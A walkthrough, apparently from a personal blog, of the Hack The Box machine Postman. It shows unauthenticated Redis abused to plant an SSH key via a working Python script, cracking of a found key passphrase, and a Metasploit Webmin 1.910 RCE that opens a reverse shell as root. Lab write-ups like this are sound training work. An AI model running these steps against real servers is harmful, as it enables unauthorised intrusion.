Hack The Box - Postman

This is my writeup and walkthrough for Postman from Hack The Box.

March 14, 2020 - 10 minute read -
Security Hack-The-Box Machines SSH Redis Root Postman Nmap

Postman

It was an easy machine from Hack The Box with:

  • Redis unauthenticated RCE.
  • SSH user private key in some system folder.
  • Webmin package update RCE with Metasploit.

1. Enumeration

First things first lets add 10.10.10.160 in /etc/hosts as postman.htb and enumerate our machine with nmap to discover open ports and services.

I ran initial nmap and got some stuff, but that wasn’t enough. So, lets run nmap with all ports to see what’s really running on this machine.

root@kali:~# nmap -sC -sV -p- -sT -T4 -o postman-all postman.htb
# Nmap 7.80 scan initiated Thu Jan  9 15:55:57 2020 as: nmap -sC -sV -p- -sT -T4 -o postman-all 10.10.10.160
Warning: 10.10.10.160 giving up on port because retransmission cap hit (6).
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.089s latency).
Not shown: 65235 closed ports, 295 filtered ports
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
|   256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
|_  256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
80/tcp    open  http       Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp  open  redis      Redis key-value store 4.0.9
8000/tcp  open  tcpwrapped
10000/tcp open  http       MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan  9 16:12:00 2020 -- 1 IP address (1 host up) scanned in 963.15 seconds

We found http on port 80, 10000, ssh on port 22 and the interesting one was Redis on port 6347. So, lets go to the browser to see what is running on those ports 80, 10000.

Web Enumeration

The home page on port 80 was sort of nothing just a little scroll to top button:

OpenAdmin

Lets check the other port postman.htb:10000:

OpenAdmin

It shows us an SSL error, so lets add https:

OpenAdmin

Now it’s sort of login page for some web app called Webmin, so let us search what it is.

Webmin is a web-based interface for system administration for Unix. Using any modern web browser, you can setup user accounts, Apache, DNS, file sharing and much more.”

So, it’s an app able to configure and manage Unix system files. I tried to intercept the login request with burp to see what can I do with it, but it seems well-configured and there is no way to brute force because the response time for each request and that could take very long time. Don’t forget it’s an easy box.

Redis Enumeration

Redis is an in-memory data structure project implementing a distributed, in-memory key-value database with optional durability. It supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, bitmaps, streams, and spatial indexes.”

Now we still have Redis on port 6347. I don’ know much about it, so let’s search about Redis database and how to connect to it with Linux. After searching, I found Redis Command Line Interface to interact with Redis servers.

root@kali:~# redis-cli -h postman.htb
postman.htb:6379>

After installing redis-cli and trying to connect to postman.htb it. We got an access without any sort of authentication. I spend some time learning basic Redis commands to see what can I do with it until I got something.

postman.htb:6379> config get dir
1) "dir"
2) "/var/lib/redis/.ssh"
postman.htb:6379> 

The command above just shows us where’s the config file for this Redis instance and we got .ssh as config file. I struggled with this a lot thinking what I can do to take advantage of that config file.

2. Exploitation

We know that the machine run ssh service so I found that I can put something on the Redis memory, copy it into a random file let say ~/ssh/authorized_keys as config file in order to gain access with ssh.

Let us generate ssh key:

root@kali:~# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:72rWSWzN8yWhJa80YdzlN0X59GaD1CgeoA4gml9OBqY root@kali
The key's randomart image is:
+---[RSA 3072]----+
| .o.     ..   o.o|
|.+...   .  o o o+|
|E   +. .  ..+..++|
| . =  o    .=.+oB|
|  . .  .S. + * ++|
|         .+ B o .|
|         +.o = o |
|        o.o . .  |
|       o...      |
+----[SHA256]-----+

Now we have the key. Our goal is to put it into the Redis server memory and after that we can transfer it into a file, in a way that the authorized_keys is still a valid file.

To store the key into the Redis memory, we should use the RDP format.

RDB format is a binary representation of the in-memory store.”

By adding some padding around ssh public key we generated.

root@kali:~# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

Now key.txt is our public key with new lines. We can write this inside Redis memory using redis-cli.

The writing process takes some steps and I love writing code, so let’s automate our process with the following python script:

#!/usr/bin/env python

from pwn import remote, context
from subprocess import Popen, PIPE
from termcolor import colored
import sys

context.log_level = 'critical'
if len(sys.argv) != 2:
    print("Usage: exploit.py [ip]")
    exit(1)

ip = sys.argv[1]
pub_key = "cat key.txt | redis-cli -h {} -x set crackit".format(ip).split(" ")
flush = "redis-cli -h {} flushall".format(ip).split(" ")

print colored("[!] Flushing memory.", "yellow")
print colored("[+] " + Popen(flush, stdout=PIPE).stdout.read().strip() + "\n", "green")

print colored("[!] Sending public key.", "yellow")
p1 = Popen(pub_key[:2],stdout=PIPE)
p2 = Popen(pub_key[3:], stdin=p1.stdout, stdout=PIPE)
print colored("[+] " + p2.communicate()[0].strip() + "\n", "green")

redis = remote(ip, 6379)
print colored("[!] Setting config directory", "yellow")
redis.sendline("config set dir '/var/lib/redis/.ssh'")
print colored("[" +redis.recvline()[0] + "] OK\n", "green")

print colored("[!] Setting 'authorized_keys' as config file.", "yellow")
redis.sendline("config set dbfilename \"authorized_keys\"")
print colored("[" +redis.recvline()[0] + "] OK\n", "green")

print colored("[!] Saving our config settings.", "yellow")
redis.sendline("save")
print colored("[" +redis.recvline()[0] + "] OK\n", "green")

print "[+] Now you can connect to the server via 'ssh -i priv_key redis@{}' with your private key.\n".format(ip)

The script does the following steps:

  • Flushing Redis memory to start writing our key.
  • Sending our padded ssh public key to Redis memory.
  • Setting Redis config directory to be .ssh.
  • Setting authorized_keys as a Redis config file.
  • Saving the config settings.

Now we’re able to gain access via ssh using our private key:

OpenAdmin

3. User Enumeration

Let’s see available users exist in the system:

redis@Postman:~# tail /etc/passwd
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
uuidd:x:105:109::/run/uuidd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
Matt:x:1000:1000:,,,:/home/Matt:/bin/bash
redis:x:107:114::/var/lib/redis:/bin/bash

We already on redis, so we can see what user Matt can do on the system:

redis@Postman:~# find / -type f -ls 2>/dev/null | grep Matt | head -5
   158996      4 -rwxr-xr-x   1 Matt     Matt         1743 Aug 26 00:11 /opt/id_rsa.bak
   143265      4 -rw-r--r--   1 Matt            Matt                 3771 Aug 25 15:10 /home/Matt/.bashrc
   131199      4 -rw-------   1 Matt            Matt                 1726 Feb  6 17:50 /home/Matt/.bash_history
   159000      4 -rw-rw----   1 Matt            Matt                   33 Aug 26 03:07 /home/Matt/user.txt
   158997      4 -rw-rw-r--   1 Matt            Matt                   66 Aug 26 00:48 /home/Matt/.selected_editor
   143266      4 -rw-r--r--   1 Matt            Matt                  807 Aug 25 15:10 /home/Matt/.profile

Oh! We found some sort of ssh private key inside /opt/id_rsa.bak. Let’s copy it into our machine and extract it using ssh2john.

root@kali:~# ssh2john matt.key > matt.priv

Own User

Now we’re able to use our friend john to crack the matt.priv and own user:

root@kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt matt.priv 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008     (matt.key)
1g 0:00:00:19 18.30% (ETA: 20:09:25) 0.05221g/s 148343p/s 148343c/s 148343C/s w33mof

And we got computer2008 as a ssh password. I tried to connect with ssh, but something went wrong.

root@kali:~# ssh -i matt.key Matt@postman.htb
Enter passphrase for key 'matt.key': 
Connection closed by 10.10.10.160 port 22

So I tried to switch to user Matt from redis user and it worked.

redis@Postman:~$ su Matt
Password: 
Matt@Postman:/var/lib/redis$ cat ~/user.txt 
517ad0ec

4. Root

As we remember we got a Webmin app running on port 10000. Now we can see what version is running on the box and search for any vulnerabilities with searchsploit.

Matt@Postman:/var/lib/redis$ find / -type f -ls 2>/dev/null | grep webmin | grep version | head -5
   280138      4 -rw-r--r--   1 root            root                    6 Aug 25 17:26 /etc/webmin/version
   273481     20 -rw-r--r--   1 root            root                18410 May  5  2019 /usr/share/webmin/authentic-theme/images/notifications_csf_remote_version.png
   273482     12 -rw-r--r--   1 root            root                11165 May  5  2019 /usr/share/webmin/authentic-theme/images/notifications_authentic_remote_version.png
   277316      4 -rw-r--r--   1 root            root                  265 May  5  2019 /usr/share/webmin/postfix/help/opt_mail_version.ca.html
   276799      4 -rw-r--r--   1 root            root                  252 May  5  2019 /usr/share/webmin/postfix/help/opt_mail_version.pl.html
Matt@Postman:/var/lib/redis$ cat /etc/webmin/version
1.910
root@kali:~# searchsploit webmin 1.91
------------------------------------------- ----------------------------------------
 Exploit Title                             |  Path
                                           | (/usr/share/exploitdb/)
------------------------------------------- ----------------------------------------
Webmin 1.910 - 'Package Updates' Remote Co | exploits/linux/remote/46984.rb
------------------------------------------- ----------------------------------------
Shellcodes: No Result

We found Package Updates RCE with Metasploit module. Let’s run it and own root:

msf5 > search webmin

Matching Modules
================

   #  Name                                         Disclosure Date  Rank       Check  Description
   -  ----                                         ---------------  ----       -----  -----------
   0  auxiliary/admin/webmin/edit_html_fileaccess  2012-09-06       normal     No     Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access
   1  auxiliary/admin/webmin/file_disclosure       2006-06-30       normal     No     Webmin File Disclosure
   2  exploit/linux/http/webmin_packageup_rce      2019-05-16       excellent  Yes    Webmin Package Updates Remote Command Execution
   3  exploit/unix/webapp/webmin_backdoor          2019-08-10       excellent  Yes    Webmin password_change.cgi Backdoor
   4  exploit/unix/webapp/webmin_show_cgi_exec     2012-09-06       excellent  Yes    Webmin /file/show.cgi Remote Command Execution
   5  exploit/unix/webapp/webmin_upload_exec       2019-01-17       excellent  Yes    Webmin Upload Authenticated RCE


msf5 > use exploit/linux/http/webmin_packageup_rce
msf5 exploit(linux/http/webmin_packageup_rce) > set rhosts 10.10.10.160
rhosts => 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > set ssl true
ssl => true
msf5 exploit(linux/http/webmin_packageup_rce) > set lhost 10.10.15.66
lhost => 10.10.16.96
msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
username => Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set password computer2008
password => computer2008
msf5 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.16.96:4444 
[+] Session cookie: ebd2b1f371759364d859c616550e5bc3
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.15.66:1337 -> 10.10.10.160:34846) at 2020-02-06 23:03:57 +0200

id
uid=0(root) gid=0(root) groups=0(root)
python -c 'import pty;pty.spawn("/bin/bash")'
root@Postman:/usr/share/webmin/package-updates/# cd ~
root@Postman:~# cat root.txt
a257741c